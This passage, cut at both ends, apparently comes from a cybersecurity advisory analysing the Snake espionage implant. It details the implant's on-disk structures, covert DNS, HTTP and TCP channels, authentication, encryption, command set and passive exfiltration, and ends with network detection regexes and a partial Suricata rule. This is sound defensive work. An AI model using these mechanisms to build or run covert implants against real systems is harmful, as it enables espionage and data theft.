attempt to decrypt an encrypted blob within the Windows registry that is typically found at HKLM:\SOFTWARE\Classes\.wav\OpenWithProgIds. The encrypted data includes the AES key, IV, and path that is used to find and decrypt the file containing Snake’s kernel driver and kernel driver loader. The registry object’s structure can be seen on the right side of the following figure. Snake uses Microsoft Windows Cryptography API: Next Generation (CNG) key store to store the AES key needed to decrypt the registry object. Kernel Driver and Custom Loader Snake’s installer drops the kernel driver and a custom DLL which is used to load the driver into a single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. The structure of this file can be seen on the left side of the figure above. The key, IV, and path to comadmin.dat are stored in the encrypted registry blob.  The Queue File The last host-based artifact to discuss is the Queue File. Typically, this file has been found within the %windows%\Registration directory with the format of ..crmlog, and is decrypted by Snake’s kernel driver. Due to the complexity and importance of the Queue File, its details are discussed at length in the following subsection.  The Queue The Queue is a Snake structure that contains various pieces of information, including key material, communication channels, modes of operation, the principal user mode component, etc., that Snake requires for successful operation. It should be noted that this is a name used by the developers and is not equivalent to a “queue” in the normal context of computer science. The Queue data is saved on disk in the Queue File, which is a flat file with a substructure that includes a 0x2c-byte file header followed by data blocks. Each data block corresponds to exactly one Queue Item, which could be, for example, a simple configuration parameter, a Snake command, or an entire embedded executable. Each Queue Item is associated with a specific Queue Container. Queue Containers and Items Each Container is identified by its Type and Instance values. Each Container Type holds the same type of information used by the Snake implant for a specific purpose. The following table shows the various Container Types and their functions. A Queue can have multiple Containers of the same Type, but each of these Containers will have different Instance values. The data in each Container in the Queue is separated into Queue Items with the 0x40-byte metadata structure shown in the following table. The data content of the Queue Item immediately follows this structure. The Queue Items in each Container are distinguished by their corresponding Item Number as well as their Item Type identifier. The Item Number is assigned by the Snake implant itself, while Snake operators generally refer to the Item Type value when trying to reference a specific item. Queue File Encryption In previous versions of Snake, the Queue File existed within an encrypted covert store. The data belonging to the Queue Items themselves were also CAST-128 encrypted. In more recent versions, the covert store was removed, and the Queue File exists by itself on disk. The Queue Items inside the Queue File are still encrypted with CAST-128, and in addition, the full Queue File is also CAST-128 encrypted. The CAST keys used to encrypt the Queue Items within a Container Instance can be found in that Instance's corresponding 0x2 Container as Item Type 0x229 (see below). The key and IV used to encrypt the Queue File can be found by decoding strings within Snake’s kernel driver. Container Descriptions 0xb Container The 0xb Container lists the available modes of operation for a given Snake implant. When using a certain mode, Snake uses a specific set of Containers and communication channels. Each infection can use up to four different modes. Each mode in the 0xb Container will have a Container Instance value that all Containers associated with this mode will use, except for the 0x3 Container.  0x0 Container The 0x0 Container handles incoming commands/data for the host of the Snake infection. Commands will be queued in this Container until the implant is ready to execute them. 0x1 Container The 0x1 Container handles outbound commands/data for the host of the Snake infection. The data will be queued within the 0x1 Container until the implant is ready to exfiltrate them. 0x2 Container The 0x2 Container holds the configuration information for the mode to which it corresponds. Various pieces of information vital to Snake’s successful operation are stored within these Containers. This subsection will discuss a subset of the parameters that can be found within the 0x2 Container. Pivotal key information can be found within the 0x2 Containers. This includes the inbound and outbound RSA keys (Items 0x228 and 0x227, respectively), the CAST key (Item 0x229) used to encrypt the individual items within the Queue Container, pre-shared keys used for the top layer of encryption in Snake’s network communication protocol, and a quasi-unique value for the implant, called the “ustart” value, needed for Snake network connectivity. Snake is constantly passing data between its kernel and user mode components. The methodology (generally, named pipes) used to make these communications is listed in Items 0x65-0x6f of the 0x2 Container. Items 0x70-0x7a list the parameters necessary to establish these communications.  Items 0xc9-0xd3 contain details of up to ten other Snake infections, referred to as “communication channels”, which the implant can communicate with during Passive Operations. The parameters needed to establish Snake sessions with the other hosts can be found in Items 0xd4-0xde. Many additional data points, such as the process name where Snake injected itself or the modules Snake has loaded from its 0x3 Container, can be found within 0x2 Containers. 0x3 Container The 0x3 Container houses embedded files and modules for Snake. A single 0x3 Container will be accessible to all Containers in the Queue. The 0x3 Container has its own dedicated 0x2 Container that only includes a single Queue Item of Item Type 0x229 (a CAST-128 key). This key will be used to encrypt and decrypt all of the embedded files and modules within the 0x3 Container. The Item Types assigned to the embedded files and modules within the 0x3 Container are consistent across all of the Snake infections within Snake’s P2P network. For example, the 0x01 Item Type is the Zlib library, and therefore any time an Item Type of 0x01 is seen within the 0x3 Container of a Snake infection, that file is always the Zlib library. The implant’s 0x2 Container will keep track of libraries that it has loaded. If the DLL is a file on disk, the full path to the DLL is saved in the 0x2 Container. If the library was loaded from a 0x3 Container, the loaded module will be displayed in the implant’s 0x2 Container in the format “&”.  0x4 Container The 0x4 Container logs command activity. Each Queue Item within the Container is a log of a single executed or attempted command. Each mode will have its own corresponding 0x4 Container. 0x5 Container The 0x5 Container holds Snake network logs, noting any IP address that has connected to this implant. Some versions of Snake no longer make use of this Container. 0x6 Container The 0x6 Container saves commands that are set to execute at specific times. A Queue Item is created for each scheduled command. 0x7 Container The 0x7 Container logs the IP addresses of any other Snake implants that have connected to this implant during Passive Operations. The commands 0x79 (Read Agents Track) and 0x7a (Clear Agents Track) are used to interact with this Container. Note that the command 0x7a had been deprecated in some versions of Snake and returns the error “function unsupported” if called. SNAKE NETWORK COMMUNICATIONS Snake’s network communications are encrypted, fragmented, and sent using custom methodologies that ride over common network protocols, including both raw TCP and UDP sockets and higher-level protocols like HTTP, SMTP, and DNS. Snake’s protocols for HTTP and TCP are the most commonly seen, but functionality exists for UDP, ICMP, and raw IP traffic. Snake’s network communications are comprised of “sessions”, which are distinct from the sessions associated with the legitimate protocol it is riding on top of (e.g., TCP sessions). The Snake session is then comprised of distinct commands. Both Snake’s custom transport encryption layer (“enc”) and Snake’s Application Layer have their own encryption mechanisms, where the enc layer operates on an individual P2P session and the Snake Application Layer provides end-to-end encryption between the controller (i.e., point of origin) and the command’s ultimate destination. The following figure details Snake’s communication protocol stack.  Network Obfuscation Snake’s use of its kernel module also facilitates stealthy network communications. To participate fully in Snake’s P2P network, implanted machines which are not the ultimate target must act as servers for other Snake nodes. Snake’s kernel module, along with a thoughtfully designed mechanism for distinguishing Snake traffic from legitimate client traffic, allows the implant to function as a server in the Snake P2P network without opening any new ports, greatly complicating detection efforts. Additionally, Snake’s custom network communication protocols are designed to blend with traffic that the compromised server normally would receive. This allows Snake operators to use legitimate servers as infrastructure, which reduces the effectiveness of simple IP address or domain blocking without needing to open new ports or send unusual looking traffic to this infrastructure.  Snake’s Network Authentication Technique (“ustart”) Snake uses its custom HTTP and raw socket TCP based protocols for large data communications.  With these protocols and others, Snake employs a specific authentication mechanism to distinguish Snake traffic from legitimate traffic destined for application software on the compromised server. This technique enables one of the uniquely sophisticated aspects of Snake, which is its ability to function effectively as server software without opening any further ports on the compromised system. The relevant per-implant authentication value is referred to as the “ustart” and is stored in the implant’s Queue File. There are multiple forms of the ustart value, including “ustart”, “ustart2”, and “ustartl”.  Rather than open a listening socket on a specified TCP port, the Snake kernel module intercepts the first client-to-server packet following the 3-way handshake in every TCP session. The kernel module then determines whether or not the contents of that packet are in fact valid for the ustart value of that target Snake implant. If so, the Snake kernel module forwards that packet and any future packets in the same TCP session to Snake’s own processing functionality, and the (presumably legitimate) application listening on that port remains unaware of this TCP session. If not, the Snake kernel module allows the packet—and the rest of the TCP session as it occurs—to reach the legitimate listening application, for example web server software. See the following for an illustration.  All of the ustart versions perform authentication by sending a random nonce along with data that comprises a mathematical operation on the combination of the nonce and the ustart value itself. The receiving machine then extracts the nonce and performs the same computations to authenticate the sending machine. The ustart2 and ustartl versions use the Fowler-Noll-Vo (FNV) hash algorithm to generate the overall authentication value from the nonce and the ustart. This mechanism is slightly different in the custom Snake HTTP protocol versus the custom Snake TCP protocol. Using the ustart methodology, a node in the Snake P2P network can function as a server without opening any otherwise closed ports and without interfering in the compromised server’s legitimate functionality. Snake will only communicate over TCP ports on which another application is actively listening. This technique makes detecting Snake compromises through network traffic monitoring far more difficult. Inbound traffic to an unexpected TCP port can be detected or blocked using standard firewall or network intrusion detection functionality. Replacing a legitimate service application with a modified executable can lead to detection at either the host or network level. Snake’s technique bypasses both of these mitigations. When combined with the fact that Snake traffic looks similar to expected traffic, especially in the case of Snake’s HTTP based protocols, this renders detecting Snake communications difficult absent detailed knowledge of Snake’s custom protocols. Snake UDP Outbound Communications via DNS Query Snake uses a specialized communications protocol to encode information in seemingly standard DNS queries run via the Windows or POSIX API function gethostbyname, depending on the version.  Snake outbound DNS requests consist of character strings that are constructed to resemble standard domain names. The actual information being transmitted from the implant is contained in the part of the character string prior to the first ‘.’ character. For illustration purposes, this subsection will outline how an arbitrary string of bytes is manipulated and then encoded to form an outbound Snake DNS request carrying data provided by the implant. Snake outbound DNS requests originally take the form of byte arrays stored on the stack as the implant progresses through the communications function. The byte array has the following structure. Only the low-order seven bits of the flags byte are used, and they have the following significance. After calculating and obfuscating the byte array values shown above, Snake encodes these byte values as de-facto base32 text, using the ten digits 0-9 and the 26 lowercase ASCII letters a-z, with v, w, x, y, and z all corresponding to the same value, as only 32 distinct characters are needed. Snake then inserts ‘-‘ characters at specified locations and sends the DNS request using the gethostbyname function. The resulting encoded string mimics a legitimate DNS request; because characters after the first ‘.’ are not part of the implant’s communications, any arbitrary suffix (e.g., “.com”) can be used.  Inbound Communications via DNS Query Response After sending the encoded DNS request, Snake parses the returned information. In a normal DNS request, the returned hostent structure contains a list of IPv4 addresses as 32-bit unsigned integers if the domain resolves to one or more IPv4 addresses. In the Snake DNS protocol, these 32-bit integers represent the covert channel data. The Snake implant sorts the 32-bit integers by the highest order nibble and then interprets the remaining 28 bits of each integer as the actual encoded data. The Snake DNS protocol thus provides a well-concealed, low-bandwidth communications channel.  For larger bandwidth communications, Snake uses its custom HTTP and TCP protocols. Snake HTTP The most common custom protocol that Snake uses is its “http” protocol, which rides on top of standard HTTP. It generally looks like normal HTTP communications, including a lot of base64-looking strings, thus blending well with normal network traffic. There have been multiple iterations of Snake’s http protocol, though the differences are only in the encoding; once that is peeled away, the underlying Snake http protocol is the same. For the purposes of this document, Snake’s former version of HTTP will be referred to as “http” and its more recent version as “http2”.  Snake communications using http2 are contained within seemingly legitimate Application Layer HTTP communications. In the client-to-server direction, the implant data is contained within an HTTP header field of a GET request, unless the data is over a certain size (usually 256 bytes, but configurable). Observed field keys have included: Auth-Data, Cache-Auth, Cookie, and Cockie (note misspelling). This list is not exhaustive; any standard HTTP header field can be used. The communication itself is contained in the legitimate HTTP header field’s value, meaning the content following the ‘:’ character and any whitespace immediately thereafter. In HTTP GET requests, the implant generally uses the default path ‘/’, but this is not required and is configurable. Larger client-to-server Snake http2 requests are contained in the body of an HTTP POST request, and server-to-client communications are contained in the body of the HTTP response. All client-to-server Snake http and http2 requests begin with the ustart authentication. The specifics vary with each ustart version, but in each case the random nonce and the computed function of the nonce and ustart value are encoded in a manner which closely resembles the rest of the Snake communication. Since Snake http and http2 implant sessions can span multiple TCP sessions, the ustart authentication mechanism is included in every client-to-server communication. Base62 Encoding Snake’s http2 protocol uses a custom base62 encoding scheme that has the following differences from base64. Base62 uses 62 semantically significant characters instead of 64. The ratio of encoded-to-decoded characters in base62 is less dense (11:8) than the ratio base64 can achieve (12:9). Also, base62 uses extraneous characters in certain instances that have no semantic significance.  The base62 characters of semantic significance are the 62 strict alphanumeric characters: [0-9A-Za-z]. The extraneous characters that can be present in a base62 string—but which have no semantic significance—are: ‘/’, ‘;’, ‘=’, and ‘_‘ (underscore). When present, these characters are removed prior to performing the decoding process. A valid base62 string can have up to 11 of these extraneous characters. A regular expression for base62 is included in the Mitigations section of this CSA. http and http2 Metadata Structure After the base62 decoding is completed, if necessary, the remaining data begins with an 8-byte metadata structure that provides rudimentary sessionization on top of the stateless HTTP. Snake’s http and http2 client-to-server communications have three de-facto parts, which are concatenated into a single HTTP header value. These parts are: 1) an announce or authentication string, 2) a custom metadata structure, and 3) payload data. The metadata structure consists of the following: struct http_meta { uint32_t session_number; uint16_t communication_number; uint8_t flags; uint8_t checksum; }; Snake uses the session_number and communication_number fields to provide its own custom sessionization on top of the stateless Application Layer HTTP protocol. The checksum byte serves to validate the integrity of the structure and must equal the sum of the first seven bytes modulo 256. Snake TCP Snake has the ability to communicate through POSIX-style TCP sockets. The implant’s custom TCP protocol, which herein will be called “tcp”, uses the reliability features of the underlying TCP protocol.  Thus, in the implant’s custom tcp protocol, the concept of a TCP session and an implant “session” are the same, whereas in the implant’s custom http protocols, one implant session could span multiple Transport Layer TCP sessions. Since the implant’s overall communications protocol is based on the idea of commands and responses, Snake depends on being able to specify the length of any given command and response so the recipient Snake node knows when a particular communication ends. Snake achieves this in the custom tcp protocol by prefacing each communication with its length encoded as a 32-bit big-endian unsigned integer.  Immediately following the TCP 3-way handshake, the implant completes the ustart authentication for this session. Since Snake tcp sessions are mapped one-to-one with an underlying protocol TCP session, the ustart authentication only occurs once per session, rather than with each client-to-server communication as in Snake http and http2. The Snake tcp ustart mechanism is similar to the Snake http and http2 mechanisms, except that for certain ustart versions, Snake tcp uses a raw binary ustart which is not encoded in printable characters. After the ustart authentication, the implant will begin sending length-data pairs. These pairs can be sent in the same packet or in two (or theoretically more) separate packets, but the pattern of length-data pairs will be present in each half of the stream (i.e., each direction) for the entirety of the implant communications for the remainder of the TCP session. Specifically, a length-data pair will consist of the length encoded as a big-endian 32-bit unsigned integer followed by data of exactly that length. For example, consider the instance where the implant is sending the following 4 arbitrary bytes:  89 ab cd efThe on-wire communication from the implant would send the integer value 4 encoded as a big-endian 32-bit integer, followed by the actual 4 bytes themselves, as shown below. This could be split across two (or theoretically more) packets. 00 00 00 04 89 ab cd efThe custom tcp protocol (as well as all custom http protocols) have been used in conjunction with the Snake enc protocol. Details of the Snake enc protocol are provided in the following subsection. Due to the manner in which the Snake enc and Snake tcp protocols interact, the first six length-data pairs of each TCP half-stream (following the single client-to-server announce or authentication packet described above) will have known lengths. Specifically, each half-stream will begin with length-data pairs of the following lengths: 0x8, 0x4, 0x10, 0x1, 0x10, 0x10. Note that these are the lengths of the raw data, so each communication will be preceded by a 4-byte big-endian integer specifying the corresponding length. Thus, one of the half-streams could have the following TCP content: 00 00 00 08 12 34 56 78 9a bc de f0 00 00 00 04 89 ab cd ef 00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0 00 00 00 01 12 00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0 00 00 00 10 12 34 56 78 9a bc de f0 12 34 56 78 9a bc de f0 Snake “enc” Layer As described above, Snake communications are all comprised of “Snake sessions”, irrespective of whichever legitimate protocol Snake is operating on top of. Snake’s top layer of encryption, called the enc layer, utilizes a multi-step process to establish a unique session key. The session key is formed through the combination of a Diffie-Hellman key exchange mixed with a pre-shared key (PSK) known to both parties. This PSK is stored in one of the communication channels, stored within the Queue.  The overall establishment of the session key requires 12 communication steps, six in each direction, which involve sharing the pseudo-random values used in the Diffie-Hellman exchange process as well as custom aspects of the Snake session key derivation method. The session key is used to encrypt the command headers and (inner) encrypted payloads. This is the layer in which the critical error of providing a value of 128 bits instead of 128 bytes for the call to DH_generate_parameters within the OpenSSL library occurred. Due to this insufficient key length, breaking the Diffie-Hellman portion of the exchange is possible. Note that in the following figure, the variables ‘p’, ‘g’, ‘a’, and ‘b’ are used in standard descriptions of Diffie-Hellman. SNAKE APPLICATION LAYER Snake’s Application Layer is used to process Snake commands. The payload data for a Snake session can contain one or more command exchanges, which include both the incoming data sent to the implant as well as the response returned to the server. Each command is associated with a specific ordinal, and due to Snake’s modular design, operators are able to add new commands to extend Snake’s capabilities by remotely loading a new module. The Snake implant differentiates between High and Low commands and handles them differently, based on the ordinal number range. The majority of Snake commands are High commands that have an ordinal of 0x64 (100 decimal) or higher. There are far fewer Low commands, and these include the Forwarding command (with ordinal 0x1), and the four Queue commands (with ordinals 0xa, 0xb, 0xc, and 0xd). While Low commands are mostly used for moving data across the network, the High commands give the operator many options for interacting with an infected system.  Command 0x15-byte Header All commands begin with a 0x15-byte header, followed by optional command parameter data; only some commands require parameters for successful execution. For example, the command Get, which exfiltrates a file, requires the name of the file to exfiltrate, whereas the command Process List, which returns a process listing, does not require any parameters.  The most important Command Header field contains the integer ordinal of the command being sent. The Item UID field represents a unique identifier for each individual command instance, and these values increase sequentially. The header has two fields used when a command is set to run at a specified date and time; these commands will be written to the 0x6 Container. Some Low commands have another header before the payload data, which will be detailed below. All other commands have only the Command Header followed by the encrypted parameter data. Command Encryption Underneath Snake http2 or tcp encryption at the session layer, each command exchange is further encrypted. In older versions of Snake, the exchanges were CAST-128 encrypted using a different key for incoming and outgoing data. These keys were saved in the 0x2 Container in the 0x227 and 0x228 Items. The incoming payload data, if parameter data was present, could be decrypted with the 0x227 CAST key. Any response data was encrypted with the 0x228 CAST key.  In recent versions, the 0x227 and 0x228 Items hold two RSA-4096 public keys. For each side of an exchange, a new 16-byte CAST key is created with Microsoft’s CryptoAPI CryptGenRandom function to obtain 16 random bytes. This key is used to CAST-128 encrypt the parameter or response data. For an incoming command, the CAST key is signed (not encrypted) by the private key corresponding to the public key on the node to create a 512-byte RSA data blob. The incoming payload has the RSA blob, followed by the optional parameter data, which is CAST-128 encrypted. Snake uses the 0x227 RSA public key to decrypt the RSA blob, recover the CAST key, then decrypt the parameter data. For an outgoing command, a new CAST key is obtained from CryptGenRandom, and any response data is CAST-128 encrypted. The key is then encrypted using the 0x228 public key to create a 512-byte data blob. The response payload data contains the 512-byte RSA blob, followed by the encrypted response data, when present. Command Decoding The implant will expect data in a specific format for each command ordinal. Parameter and response data contain several possible underlying data types, including wide-character plaintext strings, numeric values, data tables, files, or a combination of multiple types.  The parameter data buffer itself will be formatted in a specific way, depending on the command ordinal. Some commands have required parameters, as well as optional parameters. Commands with optional parameters will include a metadata header with the data length and data type (e.g., bool, integer, text, or data buffer) before the optional parameter’s data. Other commands will expect the parameters to be formatted with length-data pairs, consisting of the parameter data length encoded as a four-byte big-endian integer followed by data of exactly that length. Still other commands have a custom header or will expect no length or metadata and will simply send the parameter data alone. The response data will similarly be formatted by the implant in a specific way according to the command ordinal. The response data typically does not have a length or metadata preceding it, with the exception of the data tables. Examples of commands that return a table are the Process List command and the List Dir command. Response data that includes a table will start with a table description header that indicates the number of columns and rows in the table. In addition, the header will include a Column Descriptor structure to indicate the type of data that column will contain, for example a string, uint32 or uint64, timestamp in epoch format, or the contents of a whole file (included as a table entry). After the table description header, each field is added to the data payload buffer one at a time in a length-data pair. The fields across the first row are added in order, then the fields across the second row are added immediately after the first row with no metadata or separation, and so on. To parse this table, the server will account for the number of columns to determine where the next row starts. High Commands High commands are those with an ordinal of 0x64 (decimal 100) or higher. High commands give the operator many options for interacting with an infected system, as well as implant components. This subsection will describe some examples of the many High commands that can exist in the implant. Some of the most basic High commands will gather information about the machine and return the results. For example, the FSB operators can use the PS command (0x65) to return a list of running processes, the List Dir command (0x840) to list the contents of a directory, or the Syst command (0x6b) to gather basic system information. There are several commands that interact with the infected machine using standard built-in OS tools. The operator can use the Kill command (0x67) to kill a process, the Get command (0x68) to exfiltrate a file, the Put command (0x69) to write a file, the Del command (0x6a) to delete a file, or the Run command (0x66) to execute a command in a terminal shell and receive the results. For example, operators have used the Run command to run PowerShell commands, ping other hosts, use the Windows “net use” command to map network drives, and to run executable files that had been previously written to the node using the Put command. In addition to commands that use the built-in OS functionality, there are several High commands that interact with Snake components. An operator can use the Read Config command (0x70) to read the 0x2 Container, which contains configuration data, or the Set Config Item command (0x71) to set a specific Queue Item within the 0x2 Container. For example, operators have used the Set Config Item command to add or update the IP addresses or domains and option parameters used to communicate with other Snake nodes. The Read Agents Track and Clear Agents Track commands (0x79 and 0x7a) interact with the 0x7 Container to read or delete logs which track which other Snake nodes have connected to this node. Note that the 0x7a command has been deprecated in some versions of Snake and returns the error “function unsupported” if called. Snake has the ability to add additional commands by loading new modules. New modules can be loaded using the Load Modules command (0x72) or directly into memory using the Load Modules Mem command (0x7f). When compiling a module, the developer will assign an ordinal to each constituent command, which will then be used by the operator to call the newly added commands. These loaded modules can be removed using the Module Unload command (0x73). Queue Commands Queue Command Header The four Queue commands contain a 0x3d-byte Queue Header following the Command Header. In more recent versions of Snake, this header is encrypted using the same CAST key used to encrypt the payload data. In this case, the Command Header is followed by the 512-byte RSA encrypted CAST key blob, the encrypted Queue Header, and finally the encrypted payload data. Even though each of the four Queue commands only use a subset of the fields of the Queue Header (in different ways), the full header must be present for the command to be considered valid by the implant. Two fields in the header that all four Queue commands use are the Container Instance and Container Type fields, which indicate the specific Container on a node the Queue command intends to interact with. In the Queue Read and Write commands, the Item Type field is used to track the specific commands and their responses in the Containers. Queue Enumerate Command The Queue Enumerate command, with ordinal 0xa, is used to enumerate the contents of the 0x0 or 0x1 Containers to list all incoming or outgoing commands, respectively. The enumeration returns the 0x40-byte structure described above for each Queue Item, concatenated into a single return buffer. Queue Read Command The Queue Read command, with ordinal 0xb, is used to read an Item from the specified 0x0 or 0x1 Container. Several relevant fields in the Queue Header determine how the data is sent and stored. For example, the header determines whether the data should be sent immediately back to the server or stored for later transport. The header indicates if the implant should send the Queue Item’s header (i.e., the same 0x40-byte metadata structure returned by the 0xa command), the Item’s data, or both. The header also indicates whether the Queue Item should be deleted after being read and can also indicate that Queue Items with a lower Item Type should be deleted. This allows FSB operators to clear out all command Items previous to the one being read. Queue Write Command The Queue Write command, with ordinal 0xc, is used to write a Queue Item to the specified 0x0 or 0x1 Container. The Queue Header will indicate if a new Queue Item will be created, or an existing Queue Item will be modified. If a Queue Item is set to be modified, an Item with the specified Item Type must exist in the specified Container. Several fields in the header must match specific attributes of the existing Queue Item. If these checks are met, the parameter data is written to the Queue Item. Fields in the Queue Header will indicate the length of data to be written, and the offset into the existing Queue Item where the write should begin. If a Queue Item is set to be created, Snake will delete existing Queue Items of the specified Item Type in the Container of interest, then create a new Item of the specified Item Type and write the parameter data to the Queue Item. A field in the Queue Header will indicate the length of data to be written. Queue Delete Command The Queue Delete command, with ordinal 0xd, is used to delete a Queue Item from the specified 0x0 or 0x1 Container. The Flags field will determine if the single Queue Item should be deleted, or if all Queue Items with a lower Item Type should be deleted as well. Forward Commands Forward commands, with command ordinal 0x1, are used to tell an implant to forward a Snake command to a second target node, where the command will be executed. The target node sends the response data back to the first implant, which will then package that response data as its own response back to the caller. The command is designed to tell an implant to forward one command to another implant, but in practice, Forward commands are often built on top of each other to create a chain of hop points that will continue to forward a command to an end point, where it will be executed. The response data is then sent back through the same chain of hop points until it reaches the operator. The Forward command has a 0x199-byte Forward Header, followed by the encrypted command parameter data that will be sent to the target node of the Forward command. The Forward Header contains the information the implant will need to connect to the target node, including the ordinal of the Snake command that is being forwarded to the target node for execution. The implant that receives the Forward command will construct a new Snake command of the ordinal indicated in the Forward Header. It will connect to the target node in a new session, construct the Command Header, and send the encrypted command parameter data on to the target node. The parameter data already will have been encrypted using the key associated with the target node, so that the target implant will be able to decrypt the parameter data and execute the command.  When the Forward command is constructed, the CAST key used to CAST-128 encrypt the payload data—to include the 0x199-byte header and the parameter data to be forwarded—is encrypted with the RSA key pair used by the first implant. The parameter data that contains the parameters for the command to be forwarded is also CAST-128 encrypted, but the key used to encrypt the parameter data is encrypted with the RSA key pair used by the target node. The first implant knows through the header what command ordinal it is forwarding, but it is unable to decrypt the parameter data. If the Forward Header sent to the first implant indicates that the command to be forwarded was another Forward command, the first target node will decrypt the parameter data and find another Forward Header. This first target node implant will then go through the same process to connect to the next target node, constructing the new command with the ordinal indicated in the second Forward Header to send the remaining encrypted parameter data to the next target node. This will repeat until the command to be forwarded is something other than another Forward command. The Command Header and pertinent parameters for each target node are encrypted specifically for that node by the operator before the Forward command is sent into the Snake P2P network. To illustrate, the diagram below shows how the buffer might look when several Forward commands are chained together to include two hop points and an end point. The first hop point (HP1) will recover the first CAST key and CAST-128 decrypt the rest of the buffer, which will uncover the first Forward Header. HP1 will then forward the remainder of the decrypted buffer to the next hop point (HP2), starting with the second CAST key blob. HP2 will recover the second CAST key and CAST-128 decrypt the rest of the buffer, which will uncover the second Forward Header. HP2 will then forward the remainder of the decrypted buffer to the end point, starting with the third CAST key blob. The end point will recover the CAST key, decrypt the command parameter data, and execute the command.  When a target machine has executed a forwarded command, the return data is encrypted with that implant’s RSA keys and returned directly to the previous hop point. As the data is returned up the chain in the Snake P2P network, the intermediate hop points do not manipulate the encrypted data, as they do not have the RSA private key necessary to do so. In this manner, the return data is de-facto end-to-end encrypted throughout the P2P network until it arrives back at the FSB operator. SNAKE IMPLANT OPERATION Snake uses two main methods for communication and command execution, namely Passive and Active. In general, Snake operators will employ Active operations to communicate with hop points within Snake’s infrastructure; however, hop points can and do sometimes operate using Snake’s Passive method. Snake’s end points tend to solely operate using the Passive method. Active Operations During Active operations, Snake commands are issued by an FSB operator or a script to a target machine, generally through Forward commands (described in the previous section). The response to the command is immediately returned to the point of origin following the same path that the command took to reach its end target, as shown in the previous figure on Forward command structure. Passive Operations During Passive operations, Snake implants operate on their own, without the synchronous interaction of FSB operators. The nodes with which an implant communicates during Passive operations are stored within its 0x2 Container(s) as communication channels. Up to ten communication channels can be present at any time; an operator can change these channels via the Set Config Item command. Passive Intake During Passive operations, the implant will beacon by sending a Queue Read (0xb) command to one of its stored communication channels that it has chosen at random. These Queue Read commands look for a Queue Item within a Container with an Instance Number equal to the implant’s UID. The matching UID indicates the Queue Items in this Container are intended for the beaconing implant. If such a Queue Item is found, the beaconing implant will read in the Queue Item and delete it off of the host from which it was read. There can be multiple Queue Items found within the specified Queue Container that was beaconed to; each Queue Read command will read one of these items. This process is repeated until all items within the Container are read, which the infrastructure node will indicate by sending a specific error in response to the Queue Read. This beaconing will continue to randomly select hosts at nondeterministic time intervals for as long as the implant is set to perform Passive operations. Passive Data Exfiltration Similar to how Snake intakes commands passively, it can also exfiltrate the resulting data passively. This is done using Queue Write (0xc) commands to write to one of the stored communication channels chosen at random. Once the data is off the end point node, operators generally retrieve it manually or using a script. The Item Type field, which is unique per executed Snake command, is needed to associate the exfiltrated data with the target node on which the command was run. In the context of Passive Snake communications, the term Item Type is defined as a UID for a given Snake command and its resulting data. The Item Type serves as a unique identifier to associate the results of command execution with the original command written by the operator. When the FSB collects the data, Snake knows exactly what infection the data came from, and therefore it can determine what key to use to successfully decrypt the data. To illustrate how Passive operations are conducted between the end points, the operator, and the hop points in between, see the diagram above, which is explained further by the following steps: (1), (2): During Passive operations, the Node randomly chooses a host from amongst its stored communication channels and will beacon out to it with a Queue Read command (Hop Point 1 in this case). The Item Type for these beacons will be one greater than the Item Type of the last command received by the Node, indicating in this example that a command of Item Type 0x08 was the last command that was read in by the Node during Passive operations. This Node will continue to beacon with Item Type 0x09 until it receives a command, via Passive operations, with an Item Type of 0x09 or greater. The lines are dotted for (1) and (2) as this activity will be repeated at random intervals until a successful Queue Read occurs. (3), (4): In these steps, the operator uses a Queue Write command to write a command to Hop Point that is ultimately intended for the Node. The Item Type of the command being written to Hop Point 1 is assigned 0x20 (for this example). Note that the path of this command, its execution, and its results making it back to the operator can be tracked via the red text. (5), (6): The Node continues to beacon out looking for commands to read in (5). The return (6) is successful, and the command written by the operator to Hop Point 1 (3) is read in by the Node, then deleted from Hop Point 1. (7), (8): The Node attempts another Queue Read to Hop Point 1, however now the Item Type is set to 0x21, one greater than the command that was just read in by the Node at (5) and (6). This returns an error as Hop Point 1 has nothing else for the Node to read in, indicating to the Node that everything at Hop Point 1 was read. (9), (10): At this point, the Node has executed the command it read in at (5) and (6) and is attempting to send back the results. The Node randomly selects another host from its stored communication channels, Hop Point 2 in this case, and sends out a 0xb command to make sure that the Item Type 0x20, the Item Type of the command it executed, does not already exist within the Queue of Hop Point 2. If it receives an error, there is no Item with Item Type 0x20 on Hop Point 2, and the Node can proceed to send the command results. (11), (12): Here the data from the executed command is written to Hop Point 2 with Item Type 0x20 into its 0x1 Container with a 0xc command, the Item Type the command was initially given at creation (3). (13), (14): The Node continues its normal beaconing routine again as seen in (1) and (2), searching for Item Type 0x21, one greater than the Item Type of the most recently executed command. As in (1) and (2), the lines here are dotted to denote that this process will repeat until there was a successful beacon as in (5) and (6). (15-22): These steps show how the operator retrieves the resulting data that was written to Hop Point 2. The Queue Enumerate command (15) lists the contents of Hop Point 2’s 0x1 Container, showing the data written by the Node (11). This data is identifiable by its Item Type, namely 0x20. The Queue Read command (17) reads in the Item that was found in Hop Point 2’s Container. The Queue Read command that follows (19) is asking if there is any data left. In this case, the entirety of the data was read with the first Queue Read (17, 18). Therefore, the error returned from second Queue Read command (20) lets the operator know all of the data from Item Type 0x20 was read and there is nothing further. A Queue Delete command (21) follows and is sent to delete the item with Item Type 0x20 from Hop Point 2. The subsequent Queue Read, Queue Read, and Queue Delete commands (17-21) are denoted with dashed lines to indicate that this sequence of commands is repeated for all items returned from the Queue Enumerate command (15). MITIGATIONS A number of complementary detection techniques effectively identify some of the more recent variants of Snake. However, as described above, Snake is purpose-built to avoid large-scale detection. Below is a discussion of the advantages and disadvantages of various detection methodologies available for Snake. Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while hunting for Snake. Network-Based Detection Network Intrusion Detection Systems (NIDS) can feasibly identify some of the more recent variants of Snake and its custom network protocols as detailed above. Advantages: High-confidence, large-scale (network-wide) detection of custom Snake communication protocols. Disadvantages: Low visibility of Snake implant operations and encrypted data in transit. There is some potential for false positives in the Snake http, http2, and tcp signatures. Snake operators can easily change network-based signatures. Snake http Snake client-to-server http and http2 traffic is contained within an arbitrary HTTP header field. The header field value for http begins with 10 pure alphanumeric characters, followed by base64 encoding of 8 bytes, which yields exactly 11 valid base64 characters plus one base64 padding character. ^[0-9A-Za-z]{10}[0-9A-Za-z/\+]{11}=The following two Suricata rules will detect the traffic described: alert http any any -> any any (msg: "http rule (Cookie)";\ pcre:"/[0-9A-Za-z]{10}[0-9A-Za-z\/\+]{11}=/C";\ 